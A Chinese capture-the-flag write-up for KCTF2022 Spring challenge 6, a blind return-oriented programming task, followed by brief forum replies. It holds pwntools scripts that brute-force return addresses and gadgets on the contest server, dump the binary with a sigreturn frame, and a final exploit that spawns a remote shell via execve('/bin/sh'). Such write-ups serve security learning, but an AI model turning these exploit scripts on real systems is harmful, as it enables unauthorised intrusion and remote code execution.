KCTF2022春季赛 第六题 writeup
KCTF2022春季赛 第六题 writeup<!--more-->
这题,BROP提示给的很明显,所以就是盲打,不管怎么说先问(bao)候(da)一下出题人。
首先我们一开始什么都不知道,就先确定一下一些基本信息,那么就先测试一下缓冲区的长度,最后发现缓冲区长度为0x10。
我们先执行一遍正常流程,大概就是:
1. 输出一句话
2. 输入
3. 输出一句话
当存在栈溢出的时候,最后一句话输出不出来,因此可以断定,溢出是发生在自己定义的函数的。大概写一下伪代码:
```C
#include<stdio.h>
void func(){
char buf;
gets(buf);
}
int main(){
puts("hacker, TNT!");
func();
puts("TNT TNT!");
}
```
当然,输出第一句话的语句可能也在 `func` 里面,但是不影响,我们先爆破第一个字节
```python
from pwn import*
#context.log_level='debug'
for i in range(0,256):
try:
p=remote(host='221.228.109.254',port=10100)
s=p.recvline()
payload=b'a'*0x10+p8(i)
print(payload)
p.send(payload)
ss=(p.recvline(timeout=1))
print(ss)
p.close()
except:
p.close()
continue
```
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/1.png)
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/2.png)
可以发现,当覆盖一个 `\xb0` 字节的时候,程序重新执行了一遍 `main` 函数,当覆盖一个 `\xce` 字节的时候,程序执行正常流程退出了,那么我们可以得出以下信息:
- `main` 函数的低位为 `0xb0`
- `func` 函数的返回地址为 `0xce`
这里其实可以确定输出第一句话的函数在 `main` 当中了,因为如果在 `func` 函数当中,那么一定会存在两个地址使得程序重新执行一遍流程,那就是改成了 `func` 函数和 `main` 函数的地址都会这样,没有就说明第一句话输出不在 `main` 当中。
然后再勇敢地一试,猜测它的地址为 `0x4000b0`,结果发现也是重新执行了 `main` 函数,这也间接断定了这个程序是 `64` 位的。上面推出的两个地址也确定了。
接下来,就可以尝试取寻找 `gadget` 了,我们要寻找的首要 `gadget` 自然就是 `pop rdi ret` 了。
```python
from pwn import*
#context.log_level='debug'
main=0x4000b0
ret=0x4000ce
for i in range(0x400000,0x401900):
try:
while True:
try:
p=remote(host='221.228.109.254',port=10100)
break
except:
continue
s=p.recvline()
payload=b'a'*0x10+p64(i)+p64(ret)+p64(main)
print(payload)
p.send(payload)
ss=(p.recvline(timeout=1))
print(ss)
p.close()
except:
p.close()
continue
```
在这个 `payload` 当中,可以发现,如果寻找的 `gadget` 为 `ret`,那么则会继续流程,如果 `gadget` 类似于 `pop xxx ret` 的话则会重新执行 `main` 函数。结果 `ret` 找到了很多,其它的 `gadget` 愣是没找到一个,于是决定往后面再加一个 `p64(main)`,结果居然找到了七个地址:
```
a0x4000f5 pop xxx *2;ret
0x4000fa pop xxx *2;ret
0x4000fb pop xxx *2;ret
0x4000fd pop xxx *2;ret
0x4000fe pop xxx *2;ret
0x400100 pop xxx *2;ret
0x400101 ret
0x400102 pop xxx *2 ; ret
0x400106 ret
```
然后我尝试取寻找它的 `IO` 函数去输出它的 `got` 表,但是测了很多地址都没有发现有输出 `\n` 字节,这里也排除它用 `puts` 函数输出的可能,但是它可能也用了 `printf` 或者是 `write` 函数之类的,但是我还是往 `printf` 去想而没有往 `write` 去想。然后我就拿那些 `gadget` 试着传参看看,结果不出意外都失败了,无任何回显。
这里我困扰了很久,后来我们队的 `ThTsOd` 师傅给了我一个很重要的思路,那就是
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/3.png)
再来看看精致得分的规则:
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/4.png)
直接拉满了那就很能说明问题了,肯定是甚至没有 `plt` 或者 `got` 表的那种文件,直接用的 `syscall` 才能有这么小的长度。
这里借用以下 `ThTsOd` 师傅的脚本,帮我们确定了一些 `syscall` 的位置。
```python
from pwn import*
context.log_level='warn'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3
'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'
INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'
rdi 1
rsi str
rdx len
'''
for k in range(1):
for i in range(0x400000,0x400120):
try:
while True:
try:
p=remote(host='221.228.109.254',port=10005)
break
except:
continue
s=p.recv()
payload=b'a'*0x10+p64(i)+p64(pop_rdi)*3+p64(1)+p64(pop_rsi_2)+p64(0x400000)*2+p64(0x4000ce)
#payload=b'a'*0x10+
#print(payload)
p.send(payload)
p.send('B')
ss=(p.recvall(timeout=1))
print(hex(i),k,ss)
#if ss==s:
# break
p.close()
except:
#sleep(2)
p.close()
continue
#p.interactive()
'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len
101 RET
102 POP
106 RET
'''
```
在这个脚本中,我们通过修改 `rax` 的值成功调用`sys_read` `dump` 出了栈上面的内存。
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/5.png)
由此我们确定了 `syscall ret` 的 `gadget` 在 `0x4000ec` 的地方。但是还需要有一个固定能 `read` 的 `gadget` 才行,因为只有这样我们才能控制 `rax` 寄存器的值,来选择我们需要的系统调用。
当然我们也找到了,在`0x4000f3`,并且发现需要传两个参数才能把 `rop` 链拼接上去,感觉这里两个参数应该是 `add rsp,0x10` 产生的。
那也不用管那么多了,通过这两个 `gadget` 我们就能进行一次指定的系统调用,这里我们不选择使用 `write` 调用泄露栈的内存,我们直接把 `elf` 的内存给 `dump` 出来就行,因为没有 `gadget` 那我们直接用 `sigreturn` 的方式控制寄存器。
```python
from pwn import*
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3
syscall=0x4000ec
sysread=0x4000f3
'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'
INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'
rdi 1
rsi str
rdx len
'''
for k in range(1):
for i in range(0x4000f3,0x4000f4):
try:
while True:
try:
p=remote(host='221.228.109.254',port=10088)
break
except:
continue
s=p.recv()
rop=SigreturnFrame()
rop.rax=1
rop.rdi=1
rop.rip=syscall
rop.rsp=0x400000
rop.rbp=0x400000
rop.rsi=0x400000
rop.rdx=0x400
payload=b'a'*0x10+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop))
p.send(payload)
p.send('B'*15)
p.interactive()
except:
#sleep(2)
p.close()
continue
#p.interactive()
'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len
101 RET
102 POP
106 RET
'''
```
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/6.png)
可以看到我们就成功用 `sigreturn` 调用了 `sys_write(1,0x400000,0x400)` ,至此终于不是瞎子视角了,这里再是 `ThTsOd` 师傅帮我重建了 `ELF` 文件,`IDA` 一开
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/7.png)
其实现在 `IDA` 已经不重要了,主要还是能本地调试就非常爽。
但是这里又卡了一个关,那就是找不到确定地址可写的地方写上 `/bin/sh`。这里又双叒叕是 `ThTsOd` 师傅向我指明了 `0x600000` 处的内存是可读可写的。
!(https://xia0ji233.pro/2022/05/23/KCTF2022%E6%98%A5%E5%AD%A3%E8%B5%9B_6/8.png)
打开一看果然是这样,而且给的内存还挺多,那就爽了,直接先调用 `sys_read` 再上面写上 `/bin/sh` 顺便接上 `rop` 链,然后再一次 `sigreturn` 执行 `execve('/bin/sh',0,0)`去获得 `shell`。
最终 `exp`
```python
from pwn import *
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
syscall=0x4000ec
sysread=0x4000f3
#p=process('./pwn')
p=remote(host='221.228.109.254',port=10100)
s=p.recv()
rop=SigreturnFrame()
rop.rax=0
rop.rdi=0
rop.rip=syscall
rop.rsp=0x600020
rop.rbp=0x600020
rop.rsi=0x600000
rop.rdx=0x400
payload=b'a'*0x10+p64(syscall)+p64(syscall)+eval(str(rop))
p.send(payload)
#sleep(1)
#gdb.attach(p)
p.send(b'a'*15)
rop.rax=59
rop.rip=syscall
rop.rdi=0x600000
rop.rdx=0
rop.rsi=0
sleep(1)
p.send(b'/bin/sh\0'+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop)))
sleep(1)
p.send(b'a'*15)
p.interactive()
```
这题后面不难,主要是想办法 `dump` 内存重建 `elf`,然后就是签到的做法了。 用心了感谢!!!!!! 完全看不懂。。。{:1_907:} 感觉自己是个外行 膜拜大佬 大家好 我是小菜 看大佬 默默地心里恨自己 一定不看那些 床外事了 难受啊
膜拜大佬 膜拜大佬 学习了! 感觉学习的路子还有很长!